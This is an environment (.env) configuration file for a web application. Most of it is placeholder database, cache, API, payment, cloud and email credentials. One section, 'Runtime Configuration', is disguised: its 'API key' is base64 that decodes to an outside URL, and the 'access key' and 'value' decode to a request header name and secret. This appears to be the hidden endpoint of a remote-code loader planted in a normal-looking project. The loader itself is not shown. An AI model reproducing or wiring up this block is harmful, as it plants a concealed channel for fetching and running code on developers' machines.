# Server settings
PORT=4000                    # Port the server runs on
HOST=0.0.0.0                 # Host address to bind the server

# Environment
NODE_ENV=development         # Environment: development, production, staging
DEBUG=true                   # Enable debug mode

# Database credentials
DB_HOST=localhost            # Database server host
DB_PORT=3306                 # Database server port
DB_NAME=myapp_db             # Database name
DB_USER=root                 # Database username
DB_PASSWORD=secretpassword   # Database password
DB_SSL=true                  # Use SSL connection for DB

# Cache settings
REDIS_HOST=localhost         # Redis server host
REDIS_PORT=6379              # Redis server port
REDIS_PASSWORD=redispass     # Redis password

# API keys
API_KEY_GOOGLE=AIzaSyD...    # Google API key
API_KEY_MAPBOX=pk.abc123     # Mapbox API key
API_KEY_TWITTER=abcdef12345  # Twitter API key

# Authentication
JWT_SECRET=myjwtsecret       # JWT token secret key
JWT_EXPIRES_IN=3600          # JWT expiration time in seconds
OAUTH_CLIENT_ID=client123    # OAuth client ID
OAUTH_CLIENT_SECRET=secret   # OAuth client secret

# Email (SMTP) settings
SMTP_HOST=smtp.mailtrap.io   # SMTP server host
SMTP_PORT=2525               # SMTP server port
SMTP_USER=user@mail.com      # SMTP username
SMTP_PASS=password123        # SMTP password
EMAIL_FROM=noreply@myapp.com # Default from email address

# Third-party services
STRIPE_SECRET_KEY=sk_test_123456             # Stripe secret key
STRIPE_PUBLIC_KEY=pk_test_123456             # Stripe public key
SENDGRID_API_KEY=SG.xxxxxx                   # SendGrid API key
SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key

# File storage
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE                      # AWS Access Key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key
AWS_REGION=us-west-2                                        # AWS Region
S3_BUCKET_NAME=myapp-bucket                                 # S3 Bucket name

# Logging
LOG_LEVEL=info                  # Log level: debug, info, warn, error
LOG_PATH=/var/log/myapp.log     # Path for log files

# Feature flags
FEATURE_X_ENABLED=true          # Enable feature X toggle
FEATURE_Y_ENABLED=false         # Disable feature Y toggle

# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key
RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy           # Runtime config access key
RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0                     # Runtime config access value

# Miscellaneous
TIMEZONE=UTC                    # Default timezone
MAX_UPLOAD_SIZE=10485760        # Max file upload size in bytes (10MB)
SESSION_SECRET=supersecretkey   # Secret key for session encryption
CACHE_TTL=600                   # Cache time-to-live in seconds
MAX_CONNECTIONS=100             # Max concurrent connections
ENABLE_CORS=true                # Enable Cross-Origin Resource Sharing

# SMS Gateway
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          # Twilio Account SID
TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx           # Twilio Auth Token
TWILIO_PHONE_NUMBER=+1234567890                              # Twilio phone number

# Payment Gateway
PAYPAL_CLIENT_ID=Abcdefghijklmnop                           # PayPal Client ID
PAYPAL_CLIENT_SECRET=1234567890abcdef                        # PayPal Client Secret

# Monitoring & Analytics
SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0   # Sentry DSN for error monitoring
GA_TRACKING_ID=UA-12345678-1                                # Google Analytics tracking ID